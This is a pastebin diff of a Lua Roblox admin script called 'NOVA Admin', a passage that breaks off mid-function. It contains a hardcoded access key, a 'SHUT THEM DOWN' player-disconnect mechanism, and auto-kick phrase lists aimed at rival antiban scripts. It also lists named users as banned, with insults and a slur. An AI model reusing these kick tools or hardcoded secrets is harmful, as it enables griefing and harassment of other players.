View difference between Paste ID: K26bmwuG and 3bGrPv34
SHOW: | | - or go back to the newest paste.
1
--[[                                                                                                                                                                                    ]]
2
script.Name = "# NOVA Admin #"
3
wait()
4
script.Parent = Instance.new("Glue") -- Stuck!
5
NOVA ={
6
    BadPhrases = true;
7
    Bet = "/";
8
    Services = {
9
        Game = game;
10
        RunService = game:GetService("RunService");
11
        Workspace = game:GetService("Workspace");
12
        Lighting = game:GetService("Lighting");
13
        Debris = game:GetService("Debris");
14
        Players = game:GetService("Players");
15
        Teams = game:GetService("Teams");
16
        SoundService = game:GetService("SoundService");
17
        ScriptContext = game:GetService("ScriptContext");
18
        NetworkServer = game:GetService("NetworkServer");
19
        StarterGui = game:GetService("StarterGui");
20
        StarterPack = game:GetService("StarterPack");
21
    };
22-
    Ranks = {
22+
    Ranks = { 
23
        {1337,"MLG"}; -- 8
24
        {-2,"Lagged"}; -- -2
25
        {-1,"Banned"}; -- -1
26
        {-0.5,"Scum"};
27
        {0,"Guest"}; -- 0
28
        {1,"Mod"}; -- 1
29
        {2,"Admin"}; -- 2
30
        {3,"Developer"}; -- 3
31
        {4,"Omega Admin"}; -- 4
32
        {5,"Overlord"}; -- 5
33
        {6,"OP ( Operator )"}; -- 6
34
        {7,"Creator"}; -- 7
35
        {8,"ROOT"}; -- 8
36
    };
37
    Alphabet = {
38
    "a",    "b",    "c",    "d",    "e",    "f",    "g",    "h",    "i",    "j",    "k",    "l",    "m",    "n",    "o",    "p",    "q",    "r",    "s",    "t",    "u",    "v",    "w",    "x",    "y",    "z",    
39
    };
40
    Ranked = {
41
        {Name = "Dylanbuil", Rank = 8, CMD = true, Color = Color3.new(1,1,0), Desc = "NOVA"};
42
        {Name = "mastero67", Rank = 7, CMD = true, Color = Color3.new(0,0,1), Desc = "Fire"};
43
        {Name = "darkeageninja", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
44
        {Name = "wubbzy301", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Banned"};
45
        {Name = "xXxArtistxXx", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "Nub"};
46
        {Name = "mrein5", Rank = -1, CMD = true, Color = Color3.new(0,0,1), Desc = "A low life Camball abuser"};
47
        {Name = "lxljohnlxlalt", Rank = -2, CMD = true, Color = Color3.new(0,0,1), Desc = "TOTAL NUB WITH NO LIFE"};
48
        {Name = "twistedmurdererproga", Rank = 1337, CMD = true, Color = Color3.new(0,0,1), Desc = "2Nolife4Me"};
49
50
    };    
51
    Credit = {
52
        {Name = "NetworkClient",Why = "for the tablet function."};
53
        {Name = string.reverse(string.gsub("nXQZaXQZmXQZDXQZmXQZaXQZeXQZTXQZ","XQZ","")),Why = "for creating NOVA Admin."};
54
        {Name = "upquark",Why = "For being a great person in life."};
55
        {Name = "toshir0z",Why = "For teaching me time control."};
56
        {Name = "ask4kingbily",Why = "For showing me how to lock first person."};
57
    };
58
    Animations = {
59
        {Name = "Facepalm", Who = "Dylanbuil", Id = "372695cdb6a7540768234ad60ed7a298"};
60
    };
61
    Colors = {
62
        Red = Color3.new(1,0,0);
63
        PinkRed = Color3.new(1,0,0.15);
64
        Orange = Color3.new(1,0.5,0);
65
        Yellow = Color3.new(1,1,0);
66
        Green = Color3.new(0,1,0);
67
        Blue = Color3.new(0,0,1);
68
        LightBlue = Color3.new(0,1,1);
69
        Pink = Color3.new(1,0,1);
70
        Magenta = Color3.new(0.54,0,0.54);
71
        White = Color3.new(1,1,1);
72
        Grey = Color3.new(0.5,0.5,0.5);
73
        Black = Color3.new(0,0,0);
74
    };
75
    Sounds = {
76
        Sound = Instance.new("Sound");
77
        Numbers = { -- one to five ( top to bottom )
78
            "http://www.roblox.com/Asset/?id=29445305",
79
            "http://www.roblox.com/Asset/?id=29445339",
80
            "http://www.roblox.com/Asset/?id=29445358",
81
            "http://www.roblox.com/Asset/?id=29445378",
82
            "http://www.roblox.com/Asset/?id=29445395",
83
        };
84
        PlayAfter = {
85
            "http://www.roblox.com/Asset/?id=2767090",
86
            "http://www.roblox.com/Asset/?id=2800815",
87
            "http://www.roblox.com/Asset/?id=2801263",
88
            "http://www.roblox.com/Asset/?id=11984254",
89
            "http://www.roblox.com/Asset/?id=2101159",
90
            "http://www.roblox.com/Asset/?id=3087031",
91
            "http://www.roblox.com/Asset/?id=2101148",
92
            "http://www.roblox.com/Asset/?id=2233908",
93
            "http://www.roblox.com/Asset/?id=16976189",
94
            "http://www.roblox.com/Asset/?id=2101157",
95
            "http://www.roblox.com/Asset/?id=2974000",
96
            "http://www.roblox.com/Asset/?id=2703110",
97
            "http://www.roblox.com/Asset/?id=1994345",
98
        };
99
    };
100
    AncientRules = {
101
        "Thou shall not use forum scripts.",
102
        "Thou shall not use CamBall / CamSphere.",
103
        "Thou shall not use CBA.",
104
        "Thou shall not use RMDX's scripts.",
105
        "Thou shall not use antibans.",
106
        "Thou shall not abuse thou admin.",
107
        "Thou shall not steal scripts.",
108
        "Thou shall not trade scripts you didn't make.",
109
        "Thou shall not use gay scripts.",
110
        "Thou shall not abuse loopholes in the ancient rules.",
111
    };
112
    ChatFilters = {
113
        "mediafire",
114
        "shit",
115
        "gtfo",
116
        "password",
117
        "hitler",
118
        "vaginas",
119
    };
120
 
121
    KillingPhrases = {
122
        "ssj",
123
        "yolo",
124
        "swag",
125
    };
126
    KickingPhrases = {
127
             "\"/down\"",
128
        "/down",
129
        "/hide",
130
        "rpe/",
131
        "antiban",
132
        "ab/",
133
        "camball.",
134
        "camball.came",
135
        "camball/",
136
        "camball /","deadfield","1waffle1",
137
        "cie camball",
138
        "d33k/",
139
        "pban/",
140
        "your own camball",
141
        "created by jordan88282",
142
        "v2 camball",
143
        "cba = {}",
144
        "cba.bet",
145
        "banmenu","adminlist",
146
        "ban/t","ban/tu","ban/tus","ban/tusk","ban/tusko","ban/tuskor","ban/tuskor6","ban/tuskor66","ban/Dylanbuil",
147
        "cryston",
148
        "jordan88282", "eyeball","orb","kick/","owner","antikick",
149
   };
150
    PreviousDataKeys = {
151
        "Unlimited Gravity&accesskey=13785(G*&_version="..tostring(_VERSION),
152
    };
153
    LoadTime = {
154
        Start = tick(),
155
        Finish = tick(),
156
    };
157
    Fences = {};
158
    Jails = {};
159
    Objects = {};
160
    Commands = {};
161
    Tablets = {};
162
    Targeted = {};
163
    ExternalPlayersList = {};
164
    Waypoints = {};
165
    Log = {};
166
    LoggedScripts = {};
167
    PRI = false;
168
    LockedScripts = false;
169
    Removed = true;
170
    ShowChat = true;
171
    Canceled = false;
172
    Overrided = false;
173
    TimeChanged = false;
174
    TabletPositionRelative = false;
175
    AntiDLL = false;
176
    EnableGuests = true;
177
    UseGlobals = false;
178
    Overrider = nil;
179
    TabletRotation = 0;
180
    TabletRotationIncrease = 0.03;
181
    AccessKey = "13785(G*";
182
    Version = "6th Generation";
183
    DataKey = "Unlimited Gravity";
184
    PRIType = "Shutdown";
185
    LocalScript = script:FindFirstChild("PseudoLocalScript"); -- or NewLocal
186
    Script = script:FindFirstChild("PseudoScript"); -- or NewScript
187
    Plugins = script:GetChildren()
188
}
189
--[[ PLAYER PLUGINS ]]--
190
function UpdatePlayerPlugins()
191
    if NOVA.AntiDLL == true then PlayerPlugins = [==[
192
            script.Parent = nil
193
            LocalPlayer = game:GetService("Players").LocalPlayer
194
           
195
            game:GetService("Selection").SelectionChanged:connect(function()
196
                if LocalPlayer.Name ~= "Dylanbuil" and LocalPlayer.Name ~= "SurgenHack" and LocalPlayer.Name ~= "Player" then
197
                    LocalPlayer.Parent = nil
198
                    LocalPlayer.Parent = game:GetService("Players")
199
                end
200
            end)
201
            coroutine.resume(coroutine.create(function()
202
                while wait() do
203
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
204
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
205
                        LocalPlayer.Parent = nil
206
                        LocalPlayer.Parent = game:GetService("Players")
207
                    end
208
                end
209
            end))
210
        ]==]
211
        else
212
            PlayerPlugins = [==[
213
            script.Parent = nil
214
            LocalPlayer = game:GetService("Players").LocalPlayer
215
       
216
            coroutine.resume(coroutine.create(function()
217
                while wait() do
218
                    if workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==[") then
219
                        workspace:FindFirstChild("Disconnect : "..LocalPlayer.Name.." Key : ]==]..NOVA.AccessKey..[==["):Remove()
220
                        LocalPlayer.Parent = nil
221
                        LocalPlayer.Parent = game:GetService("Players")
222
                    end
223
                end
224
            end))
225
        ]==]
226
    end
227
end
228
function Color()
229
        local Choice = math.random(1, 5)
230
        if Choice == 1 then
231
                return "Institutional white"
232
        elseif Choice == 2 then
233
                return "White"
234
        elseif Choice == 3 then
235
                return "Really red"
236
        elseif Choice == 4 then
237
                return "New Yeller"
238
        elseif Choice == 5 then
239
                return "Black"
240
        end
241
end  
242
--[[ PSEUDO FUNCTIONS ]]--
243
function CreateLocalScript(Source, Parent)
244
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
245
        newLocalScript(Source, Parent)
246
    elseif game.PlaceId == 23232804 then
247
        NewLocalScript(Source, Parent)
248
    elseif NOVA.LocalScript ~= nil then
249
        NS = NOVA.LocalScript:Clone()
250
        NS.Name = "LocalScript"
251
        pcall(function() NS:ClearAllChildren() end)
252
        NewSource = Instance.new("StringValue",NS)
253
        NewSource.Name = "Source"
254
        if game.PlaceId == 113456 or game.PlaceId == 49907749 or game.PlaceId == 56786 then
255
            NewSource.Name = "DSource"
256
        end
257
        NewSource.Value = Source
258
        NS.Parent = Parent
259
        NS.Disabled = false
260
    else
261
        print("[NOVA.CreateLocalScript] Localscript functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
262
    end
263
end
264
 
265
function CreateScript(Source, Parent)
266
    if game.PlaceId == 20279777 or game.PlaceId == 20132544 or game.PlaceId == 54194680 then
267
        newScript(Source, Parent)
268
    elseif game.PlaceId == 23232804 then
269
        NewScript(Source, Parent)
270
    elseif NOVA.Script ~= nil then
271
        NS = NOVA.Script:Clone()
272
        NS.Name = "Script"
273
        pcall(function() NS:ClearAllChildren() end)
274
        NewSource = Instance.new("StringValue",NS)
275
        NewSource.Name = "Source"
276
        NewSource.Value = Source
277
        NS.Parent = Parent
278
        NS.Disabled = false
279
    else
280
        print("[NOVA.CreateScript] Script functionality not avalible here. ( PlaceId : "..game.PlaceId..")")
281
    end
282
end
283
 
284
function IsTargeted(Player)
285
    if type(Player) == "string" then
286
        for _,v in pairs(NOVA.Targeted) do
287
            if v.Name == Player then
288
                return true
289
            end
290
        end
291
    elseif type(Player) == "userdata" then
292
        for _,v in pairs(NOVA.Targeted) do
293
            if Player == v then
294
                return true
295
            end
296
        end
297
    else
298
        print("[NOVA.IsTargeted] An invalid argument type was used. ("..tostring(type(Player))..")")
299
    end
300
    return false
301
end
302
 
303
--[[ DATA PERSISTANCE ]]--
304
--[[ SYNC RANKS IN ]]--
305
function SyncRanksIn()
306
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
307
        SyncRankInSingular(v)
308
    end
309
end
310
--[[ SYNC RANK IN SINGULAR ]]--
311
function SyncRankInSingular(v)
312
    if type(v) ~= "userdata" then
313
        print("[NOVA.SyncRankInSingular] Argument 1 incorrect type.")
314
        return
315
    end
316
    coroutine.resume(coroutine.create(function()
317
        repeat wait() until v.DataReady == true
318
       
319
        if GetRankedTable(v) == nil then
320
            table.insert(NOVA.Ranked,{
321
                Name = v.Name,
322
                CMD = false,
323
                Rank = 0,
324
                Color = NOVA.Colors.Orange,
325
                Desc = "N/A",
326
                Complaints = Instance.new("Model"),
327
                Executeables = Instance.new("Model"),
328
            })
329
        end
330
       
331
        local PhysicalData = v:LoadInstance(NOVA.DataKey.."&accesskey="..NOVA.AccessKey.."&_version="..NOVA.Version)
332
        local Data = GetRankedTable(v)
333
       
334
        if PhysicalData == nil then
335
            Data.Name = v.Name
336
            Data.CMD = false
337
            Data.Rank = 0
338
            Data.Color = NOVA.Colors.Orange
339
            Data.Desc = "N/A"
340
            Data.Complaints = Instance.new("Model")
341
            Data.Executeables = Instance.new("Model")
342
        elseif PhysicalData ~= nil then
343
            pcall(function() Data.Name = v.Name end)
344
            pcall(function() Data.CMD = PhysicalData.CMD.Value end)
345
            pcall(function() Data.Rank = PhysicalData.RANK.Value end)
346
            pcall(function() Data.Color = PhysicalData.COLOR.Value end)
347
            pcall(function() Data.Desc = PhysicalData.DESCRIPTION.Value end)
348
            pcall(function() Data.Complaints = PhysicalData.COMPLAINTS:Clone() end)
349
            pcall(function() Data.Executeables = PhysicalData.EXECUTEABLES:Clone() end)
350
            if Data.CMD == nil then Data.CMD = false end
351
            if Data.Rank == nil then Data.Rank = 0 end
352
            if Data.Color == nil then Data.Color = NOVA.Colors.Orange end
353
            if Data.Desc == nil then Data.Desc = "N/A" end
354
            if Data.Complaints == nil then Data.Complaints = Instance.new("Model") end
355
            if Data.Executeables == nil then Data.Executeables = Instance.new("Model") end
356
        end
357
    end))
358
end
359
 
360
--[[ SYNC RANKS OUT ]]--
361
function SyncRanksOut()
362
    for _,v in pairs(NOVA.Services.Players:GetPlayers()) do
363
        SyncRankOutSingular(v)
364
    end
365
end
366
 
367
--[[ SYNC RANK OUT SINGULAR ]]--
368
function SyncRankOutSingular(v)
369
    coroutine.resume(coroutine.create(function()
370
        repeat wait() until v.DataReady == true
371
        local RankData = GetRankedTable(v)
372
        if RankData == nil then print("[NOVA.SyncRankOutSingular] RankData is missing or nil.") return end
373
        local Data = Instance.new("Model")
374
        Data.Name = "PlayerData"
375
        local CMD = Instance.new("BoolValue",Data)
376
        CMD.Name = "CMD"
377
        CMD.Value = RankData.CMD
378
        local Rank = Instance.new("NumberValue",Data)
379
        Rank.Name = "RANK"
380
        Rank.Value = RankData.Rank
381
        local Color = Instance.new("Color3Value",Data)
382
        Color.Name = "COLOR"
383
        Color.Value = RankData.Color
384
        local Desc = Instance.new("StringValue",Data)
385
        Desc.Name = "DESCRIPTION"
386
        Desc.Value = RankData.Desc
387
        local Complaints = RankData.Complaints:Clone()
388
        Complaints.Name = "COMPLAINTS"
389
        local Executeables = RankData.Executeables:Clone()
390
        Executeables.Name = "EXECUTEABLES"
391
       
392
        v:SaveInstance(NOVA.DataKey.."&accesskey=lol4&_version="..NOVA.Version,Data)
393
        for _,v in pairs(NOVA.PreviousDataKeys) do
394
            v:SaveInstance(v,Data)
395
        end
396
    end))
397
end
398
 
399
--[[ PLAYER INTERFACE ]]--
400
function PlayerInterface(v,Speaker)
401
    RemoveTablets(Speaker)
402
    local Data = GetRankedTable(v)
403
    OutputImg("http://www.roblox.com/Thumbs/Avatar.ashx?x=150&y=200&Format=Png&username="..v.Name,v.Name,Data.Color,Speaker)
404
    Output("Rank Name : "..GetRankName(v),Data.Color,Speaker)
405
    Output("Rank Number : "..Data.Rank,Data.Color,Speaker)
406
    Output("Account Age : "..v.AccountAge,Data.Color,Speaker)
407
    Output("User Id : "..v.userId,Data.Color,Speaker)
408
    Output("Desc : "..Data.Desc,Data.Color,Speaker)
409
    Output("CMD : "..tostring(Data.CMD),Data.Color,Speaker)
410
    Output("Color : "..tostring(Data.Color),Data.Color,Speaker)
411
        if GetRank(Speaker) > Data.Rank and GetRank(Speaker) >= 6 then
412
        Output("SHUT THEM DOWN!",NOVA.Colors.Red,Speaker,nil,
413
            function()
414
                Instance.new("StringValue",workspace).Name = "Disconnect : "..Data.Name.." Key : "..NOVA.AccessKey..""
415
 
416
            end
417
        )
418
    end
419
    if GetRank(Speaker) > Data.Rank or v == Speaker then
420
        Output("Set CMD",NOVA.Colors.Blue,Speaker,nil,
421
            function()
422
                RemoveTablets(Speaker)
423
                Output("True",NOVA.Colors.Green,Speaker,nil,
424
                    function()
425
                        Data.CMD = true
426
                        SyncRankOutSingular(v)
427
                        PlayerInterface(v,Speaker)
428
                    end
429
                )
430
                Output("False",NOVA.Colors.Red,Speaker,nil,
431
                    function()
432
                        Data.CMD = false
433
                        SyncRankOutSingular(v)
434
                        PlayerInterface(v,Speaker)
435
                    end
436
                )
437
                Output("Done",NOVA.Colors.Blue,Speaker,nil,
438
                    function()
439
                        PlayerInterface(v,Speaker)
440
                    end
441
                )
442
                Output("Dismiss",NOVA.Colors.Red,Speaker)
443
            end
444
        )
445
    end
446
    if GetRank(Speaker) > Data.Rank then
447
        Output("Set Rank",NOVA.Colors.Blue,Speaker,nil,
448
            function()
449
                RemoveTablets(Speaker)
450
                for i,v in pairs(NOVA.Ranks) do
451
                    if v[1] ~= 8 then
452
                        Output(v[1],Color3.new(i/10,i/10,i/10),Speaker,nil,
453
                            function()
454
                                RemoveTablets(Speaker)
455
                                Data.Rank = v[1]
456
                                SyncRankOutSingular(v)
457
                                PlayerInterface(v,Speaker)
458
                            end    
459
                        )
460
                    end
461
                end
462
                Output("Dismiss",NOVA.Colors.Red,Speaker)
463
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
464
                    function()
465
                        PlayerInterface(v,Speaker)
466
                    end
467
                )
468
               
469
            end
470
        )
471
    end
472
    if GetRank(Speaker) > Data.Rank or v == Speaker then
473
        Output("Set Color",NOVA.Colors.Blue,Speaker,nil,
474
            function()
475
                RemoveTablets(Speaker)
476
                for i,Color in pairs(NOVA.Colors) do
477
                    Output(tostring(i),Color,Speaker,nil,
478
                        function()
479
                            Data.Color = Color
480
                            PlayerInterface(v,Speaker)
481
                            SyncRankOutSingular(v)
482
                        end
483
                    )
484
                   
485
                end
486
                Output("Back",NOVA.Colors.Blue,Speaker,nil,
487
                        function()
488
                            PlayerInterface(v,Speaker)
489
                        end
490
                    )
491
                Output("Dismiss",NOVA.Colors.Red,Speaker)
492
            end
493
        )
494
    end
495
    Output("#REDIRECT GetRanked",NOVA.Colors.Blue,Speaker,nil,
496
        function()
497
            RemoveTablets(Speaker)
498
            OnChatted(NOVA.Bet .. "getranked" .. NOVA.Bet,Speaker)
499
        end
500
    )
501
    Output("#REDIRECT Nil",NOVA.Colors.Blue,Speaker,nil,
502
        function()
503
            RemoveTablets(Speaker)
504
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "nil",Speaker)
505
        end
506
    )
507
    Output("#REDIRECT Replicators",NOVA.Colors.Blue,Speaker,nil,
508
        function()
509
            RemoveTablets(Speaker)
510
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "replicators",Speaker)
511
        end
512
    )
513
    Output("#REDIRECT Players",NOVA.Colors.Blue,Speaker,nil,
514
        function()
515
            RemoveTablets(Speaker)
516
            OnChatted(NOVA.Bet .. "ping" .. NOVA.Bet .. "players",Speaker)
517
        end
518
    )
519
    Output("Dismiss",NOVA.Colors.Red,Speaker)
520
end
521
 
522
--[[ MAKE HINT ]]--
523
 
524
function makeHint(Text,Parent)
525
    coroutine.resume(coroutine.create(function()
526
        local M = Instance.new("Hint",Parent)
527
        for i = 1, string.len(Text) do
528
            M.Text = M.Text .. string.sub(Text, i, i)
529
            wait(math.random() * 0.1)
530
        end
531
        M.Text = M.Text .. ""
532
        for i = 1, math.random(2, 6) do
533
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
534
            wait(0.4)
535
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
536
            wait(0.4)
537
        end
538
        M.Text = string.sub(M.Text, 1, string.len(Text))
539
        for i = 1, string.len(M.Text) do
540
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
541
            wait()
542
        end
543
                        M:Remove()
544
    end))
545
end
546
function makeMessage(Text,Parent)
547
    coroutine.resume(coroutine.create(function()
548
        local M = Instance.new("Message",Parent)
549
        for i = 1, string.len(Text) do
550
            M.Text = M.Text .. string.sub(Text, i, i)
551
            wait(math.random() * 0.1)
552
        end
553
        M.Text = M.Text .. ""
554
        for i = 1, math.random(2, 6) do
555
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "_"
556
            wait(0.4)
557
            M.Text = string.sub(M.Text, 1, string.len(Text)) .. "  "
558
            wait(0.4)
559
        end
560
        M.Text = string.sub(M.Text, 1, string.len(Text))
561
        for i = 1, string.len(M.Text) do
562
            M.Text = string.sub(M.Text, 1, string.len(M.Text) - 1)
563
            wait()
564
        end
565
        M:Remove()
566
    end))
567
end
568
 
569
--[[ EXPLORE ]]--
570
function Explore(Thing,Speaker)
571
    if Speaker == nil then
572
        print("[NOVA.Explore] Argument 1 missing or nil.")
573
        return
574
    end
575
    pcall(function()
576
        if Thing == game or Thing == nil then
577
            RemoveTablets(Speaker)
578
            for _,v in pairs(NOVA.Services) do
579
                Output(v.className,GetRankedTable(Speaker).Color,Speaker,nil,function() Explore(v,Speaker) end)
580
            end
581
            Output("Dismiss",NOVA.Colors.Red,Speaker)
582
        else
583
            if #Thing:children() == 0 then
584
                RemoveTablets(Speaker)
585
                Explore(Thing.Parent.Parent,Speaker)    
586
            else
587
                RemoveTablets(Speaker)
588
                for _,v in pairs(Thing:children()) do
589
                    Output(v.Name,GetRankedTable(Speaker).Color,Speaker,nil,
590
                        function()
591
                            RemoveTablets(Speaker)
592
                            Output("Name : "..v.Name,GetRankedTable(Speaker).Color,Speaker)
593
                            Output("Class Name : "..v.className,GetRankedTable(Speaker).Color,Speaker)
594
                            Output("Full Name : "..v:GetFullName(),GetRankedTable(Speaker).Color,Speaker)
595
                            Output("Remove",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:remove() end )
596
                            Output("Destroy",NOVA.Colors.Orange,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) v:Destroy() end )
597
                            Output("Destroy ALL ( Name )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.Name == v.Name then Part:Destroy() end end) end v:Destroy() end )
598
                            Output("Destroy ALL ( className )",NOVA.Colors.Red,Speaker,nil, function() Explore(v.Parent.Parent,Speaker) for _,Part in pairs(GetRecursiveChildren()) do pcall(function() if Part.className == v.className then Part:Destroy() end end) end v:Destroy() end )
599
                            Output("#STORE",NOVA.Colors.Yellow,Speaker,nil,function() v:Clone().Parent = NOVA.Services.Lighting end)
600
                            Output("#REDIRECT .Parent.Parent",NOVA.Colors.Blue,Speaker,nil,function() Explore(v.Parent.Parent,Speaker) end)
601
                            Output("#REDIRECT :GetChildren()",NOVA.Colors.Blue,Speaker,nil,function() Explore(v,Speaker) end)
602
                            Output("Dismiss",NOVA.Colors.Red,Speaker)
603
                        end
604
                    )
605
                end
606
                Output("Dismiss",NOVA.Colors.Red,Speaker)
607
            end
608
        end
609
    end)
610
end
611
 
612
--[[ CAPE ]]--
613
function Cape(v)
614
    local Mode = "None"
615
    local AngleX = 0
616
    pcall(function()
617
        v.Character.Swordpack:remove()
618
    end)
619
    pcall(function()    
620
        v.Character["NOVA Cape"]:remove()
621
    end)
622
 
623
    local Main = Instance.new("Model",v.Character)
624
    Main.Name = "NOVA Cape"
625
 
626
    pcall(function()
627
        v.Character.Swordpack:Remove()
628
    end)
629
 
630
    local Cape = Instance.new("Part", Main)
631
    Cape.Name = "Cape"
632
    Cape.Anchored = false
633
    Cape.Locked = true
634
    Cape.CanCollide = false
635
    Cape.formFactor = "Custom"
636
    Cape.Size = Vector3.new(2, 3.5, 0.2)
637
    Cape.BrickColor = BrickColor.new("Really black")
638
    Cape.TopSurface = 0
639
    Cape.BottomSurface = 0
640
    local Decal = Instance.new("Decal", Cape)
641
    Decal.Face = "Back"
642
    Decal.Texture = ""
643
    local CapeWeld = Instance.new("Weld", Cape)
644
    CapeWeld.Part0 = v.Character.Torso
645
    CapeWeld.Part1 = Cape
646
    CapeWeld.C0 = CFrame.new(0, 1, 0.5)
647
    CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0)
648
    v.Character.Humanoid.Running:connect(function(Speed)
649
        if Speed > 0 then
650
            Mode = "Running"
651
        else
652
            Mode = "None"
653
        end
654
    end)
655
    v.Character.Humanoid.Jumping:connect(function() Mode = "Jumping" end)
656
    coroutine.wrap(function()
657
        while Cape.Parent ~= nil and CapeWeld.Parent ~= nil do
658
            local UpSpeed = 2.5
659
            local DownSpeed = 5
660
            local TargetAngle = 5
661
            if Mode == "Running" then
662
                TargetAngle = 45 + math.random(0, 2500) / 100
663
            elseif Mode == "Jumping" then
664
                UpSpeed = 10
665
                DownSpeed = 10
666
                TargetAngle = (v.Character.Torso.Velocity.y < 3 and 160 or 45)
667
            end
668
            if math.abs(TargetAngle - AngleX) < (DownSpeed > UpSpeed and DownSpeed or UpSpeed) then AngleX = TargetAngle end
669
            if AngleX < TargetAngle then
670
                AngleX = AngleX + UpSpeed
671
            elseif AngleX > TargetAngle then
672
                AngleX = AngleX - DownSpeed
673
            end
674
            CapeWeld.C1 = CFrame.new(0, 3.5 / 2, -0.0) * CFrame.fromEulerAnglesXYZ(math.rad(AngleX), 0, 0, 0)
675
            wait()
676
        end
677
    end)()
678
 
679
    local LShoulder = Instance.new("Part",Main)
680
    LShoulder.Name = "Left Shoulder"
681
    LShoulder.TopSurface = "Smooth"
682
    LShoulder.BottomSurface = "Smooth"
683
    LShoulder.FormFactor = "Custom"
684
    LShoulder.Size = Vector3.new(1,0.2,1)
685
    LShoulder.BrickColor = BrickColor.new("Really black")
686
    LShoulder.Anchored = false
687
    LShoulder.Locked = true
688
    LShoulder.CanCollide = false
689
    LShoulder.Transparency = 0
690
    LShoulder.Reflectance = 0
691
    local Weld = Instance.new("Motor6D",LShoulder)
692
    Weld.Part0 = LShoulder
693
    Weld.Part1 = v.Character["Left Arm"]
694
    Weld.C0 = CFrame.new(0,-1,0)
695
 
696
    local RShoulder = Instance.new("Part",Main)
697
    RShoulder.Name = "Right Shoulder"
698
    RShoulder.TopSurface = "Smooth"
699
    RShoulder.BottomSurface = "Smooth"
700
    RShoulder.FormFactor = "Custom"
701
    RShoulder.Size = Vector3.new(1,0.2,1)
702
    RShoulder.BrickColor = BrickColor.new("Really black")
703
    RShoulder.Anchored = false
704
    RShoulder.Locked = true
705
    RShoulder.CanCollide = false
706
    RShoulder.Transparency = 0
707
    RShoulder.Reflectance = 0
708
    local Weld = Instance.new("Motor6D",RShoulder)
709
    Weld.Part0 = RShoulder
710
    Weld.Part1 = v.Character["Right Arm"]
711
    Weld.C0 = CFrame.new(0,-1,0)
712
 
713
    local NeckFlat = Instance.new("Part",Main)
714
    NeckFlat.Name = "NeckFlat"
715
    NeckFlat.TopSurface = "Smooth"
716
    NeckFlat.BottomSurface = "Smooth"
717
    NeckFlat.FormFactor = "Custom"
718
    NeckFlat.Size = Vector3.new(2,0.2,1)
719
    NeckFlat.BrickColor = BrickColor.new("Really black")
720
    NeckFlat.Anchored = false
721
    NeckFlat.Locked = true
722
    NeckFlat.CanCollide = false
723
    NeckFlat.Transparency = 0
724
    NeckFlat.Reflectance = 0
725
    local Weld = Instance.new("Motor6D",NeckFlat)
726
    Weld.Part0 = NeckFlat
727
    Weld.Part1 = v.Character.Torso
728
    Weld.C0 = CFrame.new(0,-1,0)
729
 
730
    for _,v in pairs(Main:GetChildren()) do v.Reflectance = 1e+999 end
731
 
732
end
733
 
734
--[[ GET SPLIT ]]--
735
function GetSplit(Msg)
736
    Split = nil
737
    for i=1,100 do
738
        if string.sub(Msg,i,i) == NOVA.Bet then
739
            Split = i
740
            break
741
        end
742
    end
743
    return Split
744
end
745
 
746
--[[ GET RANK ]]--
747
 
748
function GetRank(Player)
749
    Rtn = nil
750
    if Player == "Server" or Player == "Self" or Player == "God" or Player == "NOVA" or Player == "ROOT" then
751
        return 8
752
    end
753
    if type(Player) == "userdata" then
754
        for _,v in pairs(NOVA.Ranked) do
755
            if v.Name:lower() == Player.Name:lower() then
756
                Rtn = v.Rank
757
            end
758
        end
759
    elseif type(Player) == "string" then
760
        for _,v in pairs(NOVA.Ranked) do
761
            if v.Name:lower() == Player:lower() then
762
                Rtn = v.Rank
763
            end
764
        end
765
    else print("[NOVA.GetRank] Unsupported argument type. ("..type(Player)..")")
766
    end
767
    return    Rtn
768
end
769
 
770
--[[ GET RANK NAME ]]--
771
function GetRankName(Player)
772
    if type(Player) == "userdata" or type(Player) == "string" then
773
        Rtn = nil
774
        Rank = GetRank(Player)
775
        for _,v in pairs(NOVA.Ranks) do
776
            if v[1] == Rank then
777
                Rtn = v[2]
778
            end
779
        end
780
        return Rtn
781
    else
782
        print("[NOVA.GetRankName] Unsupported argument type ("..type(Player)..")")
783
        return "NOT AVALIBLE"
784
    end
785
end
786
 
787
--[[ GET RANKED TABLE ]]--
788
function GetRankedTable(Player)
789
    Rtn = nil
790
    if type(Player) == "userdata" then
791
        for _,v in pairs(NOVA.Ranked) do
792
            if v.Name == Player.Name then
793
                Rtn = v
794
            end
795
        end
796
    elseif type(Player) == "string" then
797
        for _,v in pairs(NOVA.Ranked) do
798
            if v.Name == Player then
799
                Rtn = v
800
            end
801
        end
802
    else
803
        print("[NOVA.GetRankedTable] Unsupported argument type.("..type(Player)..")")
804
    end
805
    return Rtn
806
end
807
 
808
--[[ GET RECURSIVE CHILDREN ]]--
809
function GetRecursiveChildren(Source, Name, SearchType, Children)
810
    if Source == nil then
811
        Source = NOVA.Services
812
    end
813
    if Name == nil or type(Name) ~= "string" then
814
        Name = ""
815
    end
816
    if Children == nil or type(Children) ~= "table" then
817
        Children = {}
818
    end
819
    if type(Source) == "userdata" then
820
        pcall(function()
821
            for _, Child in pairs(Source:children()) do
822
                pcall(function()
823
                    if (function()
824
                        if SearchType == nil or SearchType == 1 then
825
                            return string.match(Child.Name:lower(), Name:lower())
826
